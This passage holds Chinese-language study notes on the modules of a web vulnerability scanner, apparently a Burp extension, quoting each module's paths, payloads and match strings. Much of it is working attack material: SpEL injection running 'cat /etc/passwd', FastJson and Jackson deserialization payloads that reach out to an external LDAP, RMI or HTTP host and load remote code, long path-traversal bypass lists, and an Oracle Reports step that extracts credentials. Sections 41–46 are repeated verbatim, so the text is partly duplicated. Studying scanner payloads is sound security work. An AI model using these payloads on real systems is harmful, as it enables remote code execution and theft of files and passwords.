<jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +"    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +"  </entry>\n" +"</map>";

这个payload和之前的有所不同,查一下漏洞原理:
使用Struts2 REST插件的XStream组件反序列化操作没有校验。
https://blog.csdn.net/qq_44312507/article/details/103585253
match的话match
collaboratorContext的接收值就行。

【16】ApacheStrutsShowcase

ApacheStrutsShowcase
关键路劲

   private static final List<String> STRUTS_SHOWCASE_PATHS = Arrays.asList("/struts2-showcase/showcase.action");

如果match到

private static final byte[] GREP_STRING = "<title>Struts2 Showcase</title>".getBytes();

则存在问题

看上去这个showcase.action在多个S2系列的漏洞中出现,比较容易出问题。
https://www.anquanke.com/post/id/86757

【16】ApacheStrutsWebConsole

控制台路径

private static final List<String> STRUTS_WEBCONSOLE_PATHS = Arrays.asList("/struts/webconsole.html?debug=console");

如果match到

private static final byte[] GREP_STRING = "title>OGNL Console".getBytes();

则存在问题
长这样

但是有利用条件
只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。
https://www.secpulse.com/archives/48383.html

【17】ApacheWicketArbitraryResourceAccess 目录穿越漏洞

路径包含

"wicket/resource")

payload则是替换掉上面的路径
换成

    private static final List<String> PAYLOADS = Arrays.asList("wicket/resource/int/wicket.properties,/bla/ HTTP","wicket/resources/int/wicket.properties,/bla/ HTTP");

这里采用的是替换原始请求包正则匹配

                byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));

match则是

    private static final byte[] GREP_STRING = "initializer=".getBytes();

百度竟然没有找到相关漏洞解释
去apache看看
https://issues.apache.org/jira/browse/WICKET-4427
看出来了,是目录穿越

public ExtensionResourceNameIterator(String path, final String extension){if ((extension == null) && (path.indexOf('.') != -1)){
// Get the extension from the path providedextensions = new String[] { "." + Strings.lastPathComponent(path, '.') };path = Strings.beforeLastPathComponent(path, '.');}else if (extension != null){
// Extension can be a comma separated listextensions = Strings.split(extension, ',');for (int i = extensions.length - 1; i >= 0; i--){extensions[i] = extensions[i].trim();if (!extensions[i].startsWith(".")){extensions[i] = "." + extensions[i];}}}else{extensions = new String[1];extensions[0] = ".";}this.path = path;index = 0;}

注意这个分支

else if (extension != null){
// Extension can be a comma separated listextensions = Strings.split(extension, ',');for (int i = extensions.length - 1; i >= 0; i--){extensions[i] = extensions[i].trim();if (!extensions[i].startsWith(".")){extensions[i] = "." + extensions[i];}}}

相当于根据,取了多个后缀然后拼接造成了路径穿越。

【18】EL3Injection EL 3.0/Lambda Injection EL表达式注入

payload

   private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList("System.getProperties()".getBytes());            

直接post请求发过去

            byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest);

match到

    private static final byte[] GREP_STRING = "java.vendor".getBytes();  

则存在漏洞
这是直接执行命令??
match的是命令结果

看了下文章

不太现实,是指用户的输入直接传入了elp.eval执行

【19】ELInjection EL (Expression Language) Injection

payload

        byte[] EL_TEST = "(new+java.util.Scanner((T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\").getInputStream()),\"UTF-8\")).useDelimiter(\"\\\\A\").next()".getBytes();

拆分一下

a = T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\")
b = a.getInputStream()
c = new java.util.Scanner(b,utf)
d = c.useDelimiter(\"\\\\A\")
e = d.next()

match的话就matchpasswd,这个判断不好,既然都是exec,为何不用ping这种跨平台的命令或者echo。

第二中payload

     HashMap<byte[], byte[]> EL_INJECTIONS = new HashMap<byte[], byte[]>() {{put("${applicationScope}".getBytes(), "javax.servlet.context".getBytes());put("#{applicationScope}".getBytes(), "javax.servlet.context".getBytes());put(String.format("${%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());put(String.format("#{%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());put(String.format("{{%d*%d}}", firstInt, secondInt).getBytes(), multiplication.getBytes());}};

key是payload,value是响应包的match
EL表达式
https://xz.aliyun.com/t/7692

【20】FastJsonRCE CVE 2017-18349

payload

    // https://github.com/jas502n/fastjson-1.2.61-RCEList<String> PAYLOADS = new ArrayList<>();PAYLOADS.add("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/obj\",\"autoCommit\":true}");PAYLOADS.add("{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://%s:80/ExportObject\"}");PAYLOADS.add("{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/ExportObject\",\"autoCommit\":true}}");PAYLOADS.add("{\"a\":{ \"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s:80/ExportObject\",\"autoCommit\":true}}");

记得改content-type

 String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");if (contentTypeHeader != null && !contentTypeHeader.contains("json")) {

match dnslog即可

collaboratorContext

分析看这个吧
http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/

【21】Htaccess - .htaccess泄露

这个也要做一个插件impl?
请求"/.htaccess"; match private static final byte[] GREP_STRING = "RewriteEngin".getBytes();

【22】HTTPProxy

看着是比较老的洞了

说是connect 协议走http协议,代理到其他网站就可以绕过https的限制
发送

            byte[] rawrequestHTTPConnect = "CONNECT http://www.google.com/humans.txt HTTP/1.0\r\n\r\n".getBytes();

match

private static final byte[] GREP_STRING = "Google is built by a large".getBytes();

这国内没法检测,建议重写个http的链接。

【23】HTTPWeakPassword 弱口令

先判断返回包

        String wwwAuthHeader = getResponseHeaderValue(respInfo, "WWW-Authenticate");

是不是401

        if (responseCode == 401 && wwwAuthHeader != null) {

这个走的是之前提到的TOMCAT弱口令那个类

HTTPBasicBruteforce
credentials = wp.getCredentials();

【24】IDocInjection - CVE-2013-3770任意文件读取

Oracle IDoc 13年爆出的漏洞
payload

   private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList("<$fileName=\"../../../../../../../../../../../etc/passwd\"$><$executeService(\"GET_LOGGED_SERVER_OUTPUT\")$><$ServerOutput$>".getBytes());

match

            Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));

【25】InfrastructurePathTraversal 目录穿越绕waf

这个就是通用型的一个绕waf
payload1

 private static final List<String> UTF8_LFI_PATHS = Arrays.asList("/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/","/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f","/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f","/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f","/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/","/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f","/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c","/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c","/%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\","/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af","/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/","/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af","/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af","/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c","/%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\","/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c","/%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\","/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f","/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f","/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f","/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/","/..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\","/..../..../..../..../..../..../..../..../..../..../..../..../..../..../..../..../..../..../","%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2/%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2","/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c","..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\","/static/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f","..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\","....//....//....//....//....//....//....//....//");

payload2

      {put("etc/passwd", Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));put("windows\\win.ini", Pattern.compile("for 16\\-bit app support", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));}

12拼接
match的值在payload2里面

【26】JacksonDataBindCVE20177525

payload

        PAYLOADS.add("{\"param\":[\"org.springframework.context.support.FileSystemXmlApplicationContext\",\"http://%s/spel.xml\"]}");

match dnslog 就行

远程代码执行
这个spel.xml内容里面可以自定义命令

 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd
"><bean id="pb" class="java.lang.ProcessBuilder"><constructor-arg value="/Applications/Calculator.app/Contents/MacOS/Calculator" /><property name="whatever" value="#{ pb.start() }"/></bean>
</beans>

【27】JavascriptSSRF - ReactJS SSRF

payload

String payload = "fetch('https://%s')";

match dnslog
这个fetch 不仅仅可以打http协议的 file协议的也可以

【28】JavaServerFacesTraversal

payload

List<String> jsfTraversal = new ArrayList<>();jsfTraversal.add("javax.faces.resource.../WEB-INF/web.xml.jsf");jsfTraversal.add("javax.faces.resource.../WEB-INF/web.xml.xhtml");jsfTraversal.add("javax.faces.resource./WEB-INF/web.xml.jsf?ln=..");jsfTraversal.add("javax.faces.resource/…\\\\WEB-INF/web.xml"); jsfTraversal.add("jenia4faces/template/../WEB-INF/web.xml/ ");jsfTraversal.add("/faces/javax.faces.resource/web.xml?ln=..\\\\WEB-INF");jsfTraversal.add("/faces/javax.faces.r`eso`urce/..\\\\WEB-INF/web.xml");jsfTraversal.add("/faces/javax.faces.resource/web.xml?loc=../WEB-INF");

match到下面就证明能读取到。

    static {DETECTION_REGEX.add(Pattern.compile("<servlet-class>javax.faces.", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));}

【29】JBossAdminConsole

先fuzz目录

 private static final List<String> JBOSS_ADMIN_PATHS = Arrays.asList("/admin-console/login.seam;jsessionid=4416F53DDE1DBC8081CDBDCDD1666FB0");

match返回包

    private static final List<byte[]> GREP_STRINGS = Arrays.asList("<title>JBoss AS Admin".getBytes(),"<title>JBoss AS 6 Admin Console</title>".getBytes(),"<title>JBoss EAP Admin Console</title>".getBytes(),"<title>Embedded Jopr Core</title>".getBytes());

则认为是控制台泄露

然后match是否有登录表单

    private static final Pattern VIEWSTATE_PATTERN = Pattern.compile("id=\"javax.faces.ViewState\" value=\"(.*?)\"");

然后就可以进行弱口令爆破了

【30】testJBossSEAMAdminCVE20101871

如果存在控制台
则可以接着尝试CVE20101871
这是一个模板注入

payload

headers.add("POST " + JBOSS_ADMIN_PATHS.get(0) + " HTTP/1.1");headers.add("Host: " + url.getHost() + ":" + url.getPort());headers.add("Content-Type: application/x-www-form-urlencoded");headers.add("Cookie: JSESSIONID=4416F53DDE1DBC8081CDBDCDD1666FB0");String body = "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}";

比较老的漏洞seam组件中插入#{payload}进行模板注入,

match的是反射获取的类。这里可以改成更无害一点的payload,例如随机数相加。

javaprivate static final byte[] GREP_STRING_CVE20101871 = "public+static+java.lang.Runtime+java.lang.Runtime.getRuntime".getBytes();

【31】JBossjBPMAdminConsole

JBoss jBPM Admin Console

请求path

    private static final List<String> JBOSS_jBPM_PATHS = Arrays.asList("/jbpm-console/app/tasks.jsf");

match

    private static final List<byte[]> GREP_STRINGS = Arrays.asList("<title>JBoss jBPM Administration Console</title>".getBytes());

【32】 JBossJMXInvoker RCE

漏洞path

    private static final List<String> JBOSS_INVOKER_PATHS = Arrays.asList("/invoker/EJBInvokerServlet","/invoker/JMXInvokerServlet");

match

    private static final byte[] GREP_STRING = "org.jboss.invocation.MarshalledValue".getBytes();

是个反序列化,判定的是能不能下载

【33】JBossJMXReadOnly - RCE

路径

private static final List<String> JBOSS_INVOKER_PATHS = Arrays.asList("/invoker/readonly");

匹配

    private static final byte[] GREP_STRING = "org.jboss.invocation.http.servlet.ReadOnlyAccessFilter".getBytes();

这是个命令执行

【34】JBossJuddi

路径

private static final List<String> JBOSS_WS = Arrays.asList("/juddi/");

match

 private static final byte[] GREP_STRING = ">JBoss JUDDI</title>".getBytes();

只能说明 JBoss Juddi console 控制台泄露,不能证明有漏洞

【35】JBossWebConsole

路径

 private static final List<String> JBOSS_ADMIN_PATHS = Arrays.asList("/web-console/","/jmx-console/");

match

    private static final byte[] GREP_STRING_JMX = "HtmlAdaptor?action=displayMBeans".getBytes();private static final byte[] GREP_STRING_WEB = "ServerInfo.jsp\"".getBytes();

一个是web路径 一个jmx路径
这种如果管理员没有配置账号密码,则存在未授权,因为是管理WEB的,所以直接RCE。

【36】JBossWS

路径

private static final List<String> JBOSS_WS = Arrays.asList("/jbossws/services");

match

    private static final Pattern JBOSSWS_RE = Pattern.compile("JBossWS/Services</div>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE);

这个会暴露所有的web服务,也属于控制台泄露,信息收集。

【37】JettyRemoteLeakage

payload

    private static final byte[] INJ_TEST = {(byte) 0};

发送一个byte
match

    private static final byte[] GREP_STRING = "400 Illegal character 0x0 in state".getBytes();

Jetty web server 远程共享缓冲区信息泄漏漏洞

原理大概是错误信息把缓冲区的东西带出来了。

【38】JKStatus

路径

    private static final List<String> JK_ENDPOINTS = Arrays.asList("/jk-status","/jkstatus-auth","/jkstatus","/jkmanager","/jkmanager-auth","/jdkstatus");

match

    private static final byte[] GREP_STRING = "JK Status Manager".getBytes();


未授权访问远程WEB 用户的一些信息

【39】LFIAbsoluteModule

payload

    private static final List<byte[]> LFI_INJECTION_TESTS = Arrays.asList(".../....///.../....///.../....///.../....///.../....///.../....///etc/passwd".getBytes(),".../...//.../...//.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd".getBytes(),"../../../../../../../../../../../../../../../../etc/passwd%00.html".getBytes(),"file:///c:/windows/win.ini".getBytes(),"file:///etc/passwd".getBytes(),"file://\\/\\/etc/passwd".getBytes(),"%2fetc%2fpasswd".getBytes(),"../../../../../../../../../../../../../../../../windows/win.ini".getBytes(),"../../../../../../../../../../../../../../../../windows/win.ini%00.html".getBytes());

通用型的任意文件读取

【40】LFIModule

payload

    private static final List<byte[]> LFI_INJECTION_TESTS = Arrays.asList("../../../../WEB-INF/web.xml".getBytes(),"../../../WEB-INF/web.xml".getBytes(),"../../WEB-INF/web.xml".getBytes(),"../WEB-INF/web.xml".getBytes(),"%c0%ae/WEB-INF/web.xml".getBytes(),"%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),"%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),"%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),// Spring Webflow payloads"../../../WEB-INF/web.xml;x=".getBytes(),"../../WEB-INF/web.xml;x=".getBytes(),  "../WEB-INF/web.xml;x=".getBytes(),"WEB-INF/web.xml".getBytes(),".//WEB-INF/web.xml".getBytes());    

match

private static final byte[] GREP_STRING = "<web-app".getBytes();

这是读web目录,通用型的任意文件读取。

【41】NextFrameworkPathTraversal

payload

    private static final String NEXT_TRAVERSAL = "/_next/../../../../../../../../../etc/passwd";

nextjs的任意文件读取

修复的话对传入的path做了判断

【42】NodeJSPathTraversal nodejs路径穿越

payload

    private static final String NODEJS_TRAVERSAL = "../../../j/../../../../etc/passwd";

修复mr:https://github.com/nodejs/node/commit/b98e8d995efb426bbdee56ce503017bdcbbc6332

【43】NodeJSRedirect

payload

    private static final String NODEJS_PATH = "///www.example.com/%2e%2e";

路由问题导致的URL跳转
match是否location即可

 if (nodejsInfo.getStatusCode() == 301|| nodejsInfo.getStatusCode() == 302|| nodejsInfo.getStatusCode() == 303) {String locationHeader = HTTPParser.getResponseHeaderValue(nodejsInfo, "Location");if (locationHeader != null && locationHeader.startsWith("/www.example.com")) {

【44】NodeJSResponseSplitting CVE-2016-2216

响应拆分漏洞
payload

    private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();

match是从返回包头找有没有插进去

【45】OASConfigFilesDisclosure

path

private static final List<String> OAS_PATHS = Arrays.asList("/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml","/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml","/xsql/lib/XSQLConfig.xml","/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml","/globals.jsa","/demo/ojspext/events/globals.jsa",// Dynamic Monitoring Services"/dms/AggreSpy","/soap/servlet/Spy","/servlet/Spy","/servlet/DMSDump","/dms/DMSDump",// Oracle Java Process Manager"/oprocmgr-status","/oprocmgr-service","/soap/servlet/soaprouter","/fcgi-bin/echo","/fcgi-bin/echo2","/fcgi-bin/echo.exe","/fcgi-bin/echo2.exe",// BC4J Runtime Parameters"/webapp/wm/runtime.jsp"//TODO CVE-2002-0565
//            "/_pages/_webapp/_admin/_showpooldetails.java",
//            "/_pages/_webapp/_admin/_showjavartdetails.java",
//            "/_pages/_webapp/_jsp/",
//            "/_pages/_demo/",
//            "/_pages/_demo/_sql/_pages/",
//            "/OA_HTML/AppsLocalLogin.jsp");

返回包match

    private static final List<byte[]> GREP_STRINGS = Arrays.asList("SOAP configuration file".getBytes(),"On a PRODUCTION system".getBytes(),"<%".getBytes(),"<DMSDUMP version".getBytes(),"DMS Metrics".getBytes(),"Current Metric Values".getBytes(),"Process Status".getBytes(),"SOAP Server".getBytes(),"DOCUMENT_ROOT=".getBytes(),"BC4J Runtime Parameters".getBytes());

02年的洞
可以理解为oracle一些敏感文件的泄露,感觉现在应该不太可能有了,20年了。

【46】OASSqlnetLogDisclosure

path

private static final List<String> SQLNETLOG_PATHS = Arrays.asList("/sqlnet.log");

match

private static final List<byte[]> GREP_STRINGS = Arrays.asList("VERSION INFORMATION".getBytes());

sql的一写日志泄露。

【47】OracleCGIPrintEnv

path

private static final List<String> CGIENV_PATHS = Arrays.asList("/cgi-bin/printenv");

match

 private static final byte[] GREP_STRINGS = "DOCUMENT_ROOT".getBytes();

同样的是敏感信息泄露。

【48】OracleEBSSSRF - CVE-2017-10246

payload

        String Oracle_SSRF_Help = String.format("/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://%s:80/", currentCollaboratorPayload);

是个前台的洞

【49】OracleEBSSSRFLCMServiceController - CVE-2018-3167

payload

        String oracleSSRFDoctypePayload = String.format("<!DOCTYPE root PUBLIC \"-//B/A/EN\" \"http://%s:80\">", currentCollaboratorPayload);

是一个XXE 漏洞,可以打SSRF

【50】OracleReportService

path

    private static final List<String> ORACLE_REPORT_SERVICE_PATHS = Arrays.asList("/reports/rwservlet/getserverinfo","/reports/rwservlet/showenv","/reports/rwservlet/showjobs","/reports/rwservlet/showmap");

match

    private static final List<byte[]> GREP_STRINGS = Arrays.asList("Successful Jobs".getBytes(),"Servlet Environment Variables".getBytes(),"Reports Server Queue Status".getBytes(),"Reports Servlet Key Map".getBytes());

这里面的路径都是敏感信息泄露。
其中

                                if (ORACLE_REPORT_SERVICE_PATH.equalsIgnoreCase("/reports/rwservlet/showmap")) {

格外关键,将rsp保存下来单独分析。
按行读取

String[] lines = helpers.bytesToString(showMapPage).split("\n")

找到行中包含

OraInstructionText

并进行match

    private static final Pattern REPORT_SERVICE_KEY_PATTERN = Pattern.compile("OraInstructionText>([^<]+)<");

如果通过上面正则,没有找到了如下的key

private static final List<String> KEYMAPS_TO_IGNORE = Arrays.asList("%ENV_NAME%","barcodepaper","barcodeweb","breakbparam","charthyperlink_ias","charthyperlink_ids","distributionpaper","express","orqa","parmformjsp","pdfenhancements","report_defaultid","report_secure","run","runp","tutorial","xmldata");

则把匹配到的key拼接,然后发起请求

        String RWSERVLET_PARSEQUERY_URL = "/reports/rwservlet/parsequery?";URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), RWSERVLET_PARSEQUERY_URL + key);

预期是请求得到username 和pwd

    private static final Pattern PWD_DISCLOSURE_PATTERN = Pattern.compile("userid=([^/]+)/([^@]+)@([^ \\t]+)([ \\t]|$)");

预期的rsp

05年的洞,估计也基本没有了。

【41】NextFrameworkPathTraversal

payload

    private static final String NEXT_TRAVERSAL = "/_next/../../../../../../../../../etc/passwd";

nextjs的任意文件读取

修复的话对传入的path做了判断

【42】NodeJSPathTraversal nodejs路径穿越

payload

    private static final String NODEJS_TRAVERSAL = "../../../j/../../../../etc/passwd";

修复mr:https://github.com/nodejs/node/commit/b98e8d995efb426bbdee56ce503017bdcbbc6332

【43】NodeJSRedirect

payload

    private static final String NODEJS_PATH = "///www.example.com/%2e%2e";

路由问题导致的URL跳转
match是否location即可

 if (nodejsInfo.getStatusCode() == 301|| nodejsInfo.getStatusCode() == 302|| nodejsInfo.getStatusCode() == 303) {String locationHeader = HTTPParser.getResponseHeaderValue(nodejsInfo, "Location");if (locationHeader != null && locationHeader.startsWith("/www.example.com")) {

【44】NodeJSResponseSplitting CVE-2016-2216

响应拆分漏洞
payload

    private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();

match是从返回包头找有没有插进去

【45】OASConfigFilesDisclosure

path

private static final List<String> OAS_PATHS = Arrays.asList("/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml","/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml","/xsql/lib/XSQLConfig.xml","/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml","/globals.jsa","/demo/ojspext/events/globals.jsa",// Dynamic Monitoring Services"/dms/AggreSpy","/soap/servlet/Spy","/servlet/Spy","/servlet/DMSDump","/dms/DMSDump",// Oracle Java Process Manager"/oprocmgr-status","/oprocmgr-service","/soap/servlet/soaprouter","/fcgi-bin/echo","/fcgi-bin/echo2","/fcgi-bin/echo.exe","/fcgi-bin/echo2.exe",// BC4J Runtime Parameters"/webapp/wm/runtime.jsp"//TODO CVE-2002-0565
//            "/_pages/_webapp/_admin/_showpooldetails.java",
//            "/_pages/_webapp/_admin/_showjavartdetails.java",
//            "/_pages/_webapp/_jsp/",
//            "/_pages/_demo/",
//            "/_pages/_demo/_sql/_pages/",
//            "/OA_HTML/AppsLocalLogin.jsp");

返回包match

    private static final List<byte[]> GREP_STRINGS = Arrays.asList("SOAP configuration file".getBytes(),"On a PRODUCTION system".getBytes(),"<%".getBytes(),"<DMSDUMP version".getBytes(),"DMS Metrics".getBytes(),"Current Metric Values".getBytes(),"Process Status".getBytes(),"SOAP Server".getBytes(),"DOCUMENT_ROOT=".getBytes(),"BC4J Runtime Parameters".getBytes());

02年的洞
可以理解为oracle一些敏感文件的泄露,感觉现在应该不太可能有了,20年了。

【46】OASSqlnetLogDisclosure

path

